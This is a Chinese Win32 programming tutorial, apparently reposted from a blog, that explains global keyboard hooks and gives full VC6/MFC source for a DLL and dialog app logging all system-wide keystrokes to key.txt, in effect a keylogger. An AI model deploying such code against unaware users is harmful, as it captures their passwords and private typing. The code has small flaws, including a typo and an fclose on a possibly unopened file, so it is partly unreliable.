键盘钩子程序
????? 實現適時監視鍵盤,并將按鍵信息保存在TXT文件中的程序
?????? Windows系統是建立在事件驅動的機制上的，說穿了就是整個系統都是通過消息的傳遞來實現的。而鉤子是Windows系統中非常重要的系統接口，用它可以截獲并處理送給其他應用程序的消息，來完成普通應用程序難以實現的功能。鉤子的種類很多，每種鉤子可以截獲并處理相應的消息，如鍵盤鉤子可以截獲鍵盤消息，外殼鉤子可以截取、啟動和關閉應用程序的消息等。本文在VC6編程環境下實現了一個簡單的鍵盤鉤子程序，并對Win32全局鉤子的運行機制、Win32 DLL的特點、VC6環境下的MFC DLL以及共享數據等相關知識進行了簡單的闡述。
????? 一．Win32全局鉤子的運行機制
????? 鉤子實際上是一個處理消息的程序段，通過系統調用，把它掛入系統。每當特定的消息發出，在沒有到達目的窗口前，鉤子程序就先捕獲該消息，亦即鉤子函數先得到控制權。這時鉤子函數即可以加工處理（改變）該消息，也可以不作處理而繼續傳遞該消息，還可以強制結束消息的傳遞。對每種類型的鉤子由系統來維護一個鉤子鏈，最近安裝的鉤子放在鏈的開始，而最先安裝的鉤子放在最后，也就是后加入的先獲得控制權。要實現Win32的系統鉤子，必須調用SDK中的API函數SetWindowsHookEx來安裝這個鉤子函數，這個函數的原型是
HHOOK SetWindowsHookEx(int idHook,HOOKPROC lpfn,HINSTANCE hMod,DWORD dwThreadId);
????? 其中，第個參數是鉤子的類型；第二個參數是鉤子函數的地址；第三個參數是包含鉤子函數的模塊句柄；第四個參數指定監視的線程。如果指定確定的線程，即為線程專用鉤子；如果指定為空，即為全局鉤子。其中，全局鉤子函數必須包含在DLL（動態鏈接庫）中，而線程專用鉤子還可以包含在可執行文件中。得到控制權的鉤子函數在完成對消息的處理后，如果想要該消息繼續傳遞，那么它必須調用另外一個SDK中的API函數CallNextHookEx來傳遞它。鉤子函數也可以通過直接返回TRUE來丟棄該消息，并阻止該消息的傳遞。
????? 二．Win32 DLL的特點
????? Win32 DLL與 Win16 DLL有很大的區別，這主要是由操作系統的設計思想決定的。一方面，在Win16 DLL中程序入口點函數和出口點函數（LibMain和WEP）是分別實現的；而在Win32 DLL中卻由同一函數DLLMain來實現。無論何時，當一個進程或線程載入和卸載DLL時，都要調用該函數，它的原型是
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved);
其中，第一個參數表示DLL的實例句柄；第三個參數系統保留；這里主要介紹一下第二個參數，它有四個可能的值：DLL_PROCESS_ATTACH（進程載入），DLL_THREAD_ATTACH（線程載入）,DLL_THREAD_DETACH（線程卸載），DLL_PROCESS_DETACH（進程卸載），在DLLMain函數中可以對傳遞進來的這個參數的值進行判別，并根據不同的參數值對DLL進行必要的初始化或清理工作。舉個例子來說，當有一個進程載入一個DLL時，系統分派給DLL的第二個參數為DLL_PROCESS_ATTACH，這時，你可以根據這個參數初始化特定的數據。另一方面，在Win16環境下，所有應用程序都在同一地址空間；而在Win32環境下，所有應用程序都有自己的私有空間，每個進程的空間都是相互獨立的，這減少了應用程序間的相互影響，但同時也增加了編程的難度。大家知道，在Win16環境中，DLL的全局數據對每個載入它的進程來說都是相同的；而在Win32環境中，情況卻發生了變化，當進程在載入DLL時，系統自動把DLL地址映射到該進程的私有空間，而且也復制該DLL的全局數據的一份拷貝到該進程空間，也就是說每個進程所擁有的相同的DLL的全局數據其值卻并不一定是相同的。因此，在Win32環境下要想在多個進程中共享數據，就必須進行必要的設置。亦即把這些需要共享的數據分離出來，放置在一個獨立的數據段里，并把該段的屬性設置為共享。
????? 三．VC6中MFC DLL的分類及特點
????? 在VC6中有三種形式的MFC DLL（在該DLL中可以使用和繼承已有的MFC類)可供選擇，即Regular statically linked to MFC DLL（標準靜態鏈接MFC DLL）和Regular using the shared MFC DLL（標準動態鏈接MFC DLL）以及Extension MFC DLL（擴展MFC DLL）。第一種DLL的特點是，在編譯時把使用的MFC代碼加入到DLL中，因此，在使用該程序時不需要其他MFC動態鏈接類庫的存在，但占用磁盤空間比較大；第二種DLL的特點是，在運行時，動態鏈接到MFC類庫，因此減少了空間的占用，但是在運行時卻依賴于MFC動態鏈接類庫；這兩種DLL既可以被MFC程序使用也可以被Win32程序使用。第三種DLL的特點類似于第二種，做為MFC類庫的擴展，只能被MFC程序使用。
????? 四．在VC6中全局共享數據的實現
????? 在主文件中，用#pragma data_seg建立一個新的數據段并定義共享數據，其具體格式為:
#pragma data_seg （"shareddata")
HWND sharedwnd=NULL;//共享數據
#pragma data_seg()
????? 僅定義一個數據段還不能達到共享數據的目的，還要告訴編譯器該段的屬性，有兩種方法可以實現該目的（其效果是相同的），一種方法是在.DEF文件中加入如下語句：
????? SETCTIONS
????? shareddata READ WRITE SHARED
????? 另一種方法是在項目設置鏈接選項中加入如下語句：
????? /SECTION:shareddata,rws
????? 五．具體實現步驟
????? 由于全局鉤子函數必須包含在動態鏈接庫中，所以本例由兩個程序體來實現。
????? 1．建立鉤子KeyboardHook.dll
????? (1)選擇MFC AppWizard(DLL)創建項目Mousehook；
????? (2)選擇MFC Extension DLL（共享MFC拷貝）類型；
????? (3)由于VC6沒有現成的鉤子類，所以要在項目目錄中創建KeyboardHook.h文件，在其中建立鉤子類：
class AFX_EXT_CLASS CKeyboardHook : public CObject
{
public:
????? CKeyboardHook();//鉤子類的構造函數
????? virtual ~CKeyboardHook();//鉤子類的析構函數
public:
????? BOOL StartHook(); //安裝鉤子函數
????? BOOL StopHook();//卸載鉤子函數
};
????? (4)在KeyboardHook.cpp文件的頂部加入#include "KeyboardHook.h"語句；
????? (5)在KeyboardHook.cpp文件的頂部加入全局共享數據變量：
#pragma data_seg("mydata")
????? HHOOK glhHook=NULL;???????? //安裝的鼠標勾子句柄
????? HINSTANCE glhInstance=NULL; //DLL實例句柄
#pragma data_seg()
(6)在DEF文件中定義段屬性：
SECTIONS
mydata READ WRITE SHARED
????? (7)在主文件KeyboardHook.cpp的DllMain函數中加入保存DLL實例句柄的語句：
????? glhInstance=hInstance;//插入保存DLL實例句柄
????? (8)鍵盤鉤子函數的實現：
//鍵盤鉤子函數
LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)
{
????? char ch=0;
????? FILE *fl;
????? if( ((DWORD)lParam&0x40000000) && (HC_ACTION==nCode) ) //有鍵按下
????? {
??????????? if( (wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100) )
??????????? {
????????????????? fl=fopen("key.txt","a＋");??? //輸出到key.txt文件
????????????????? if (wParam==VK_RETURN)
????????????????? {
??????????????????????? ch='\n';
????????????????? }
????????????????? else
????????????????? {
??????????????????????? BYTE ks[256];
??????????????????????? GetKeyboardState(ks);
??????????????????????? WORD w;
??????????????????????? UINT scan=0;
??????????????????????? ToAscii(wParam,scan,ks,&w,0);
??????????????????????? //ch=MapVirtualKey(wParam,2); //把虛鍵代碼變為字符
??????????????????????? ch =char(w);
????????????????? }
????????????????? fwrite(&ch, sizeof(char), 1, fl);
??????????? }
??????????? fclose(fl);
????? }
????? return CallNextHookEx( glhHook, nCode, wParam, lParam );
}
????? (9)類CKeyboardHook的成員函數的具體實現：
CKeyboardHook::CKeyboardHook()
{
}
CKeyboardHook::~CKeyboardHook()
{
????? if(glhHook)
??????????? UnhookWindowsHookEx(glhHook);
}
//安裝鉤子并設定接收顯示窗口句柄
BOOL CKeyboardHook::StartHook()
{
????? BOOL bResult=FALSE;
????? glhHook=SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,glhInstance,0);
????? /*============================================================
????? HHOOK SetWindowsHookEx( int idHook,HOOKPROC lpfn, INSTANCE hMod,DWORD dwThreadId )
????? 參數idHook表示鉤子類型，它是和鉤子函數類型一一對應的。
????? 比如，WH_KEYBOARD表示安裝的是鍵盤鉤子，WH_MOUSE表示是鼠標鉤子等等。
????? Lpfn是鉤子函數的地址。
HMod是鉤子函數所在的實例的句柄。對于線程鉤子，該參數為NULL；對于系統鉤子，
????? 該參數為鉤子函數所在的DLL句柄。
????? dwThreadId 指定鉤子所監視的線程的線程號。對于全局鉤子，該參數為NULL。
????? SetWindowsHookEx返回所安裝的鉤子句柄。
????? 值得注意的是線程鉤子和系統鉤子的鉤子函數的位置有很大的差別。
????? 線程鉤子一般在當前線程或者當前線程派生的線程內，
????? 而系統鉤子必須放在獨立的動態鏈接庫中，實現起來要麻煩一些。
????? ===========================================================*/
????? if(glhHook!=NULL)
????? bResult=TRUE;
????? return bResult;
}
//卸載鉤子
BOOL CKeyboardHook::StopHook()
{
????? BOOL bResult=FALSE;
????? if(glhHook)
????? {
??????????? bResult= UnhookWindowsHookEx(glhHook);
??????????? if(bResult)
????????????????? glhHook=NULL;
????? }
????? return bResult;
}
????? (10)編譯項目生成KeyboardHook.dll。
????? 2．創建鉤子可執行程序
????? (1)用MFC的AppWizard(EXE)創建項目KeyHook；
????? (2)選擇“基于對話應用”并按下“完成”鍵；
????? (3)在KeyHookDlg.h中加入包含語句#include "KeyboardHook.h"；
????? (4)在KeyHookDlg.h中添加私有數據成員：
????? CKeyboardHook m_hook;//加入鉤子類作為數據成員
????? (5)鏈接DLL庫，即把../KeyboardHook.lib加入到項目設置鏈接標簽中；
????? (6)把OK按鈕ID改為ID_HOOK,寫實現代碼:
void CKeyHookDlg::OnHook()
{
????? m_hook.StartHook();
}
????? (7)關閉按鈕實現:
void CKeyHookDlg::OnCancel()
{
????? m_hook.StopHook();
????? CDialog::OnCancel();
}
????? (8)編譯項目生成可執行文件；
????? 運行生成的KeyHook.exe程序,按HOOK!按鈕,加載鉤子后按下鍵盤上的一些鍵,可以發現EXE目錄下自動生成了一個key.txt文件,該文件記載了你的按鍵信息.
本工程在WinXP Vc++6.0運行成功。
轉載于:https://www.cnblogs.com/chenzhonghua021/archive/2007/08/16/858152.html
總結
- 上一篇： mysql数据库utf-8编码
- 下一篇： 使用log4net记录日志到MySQL中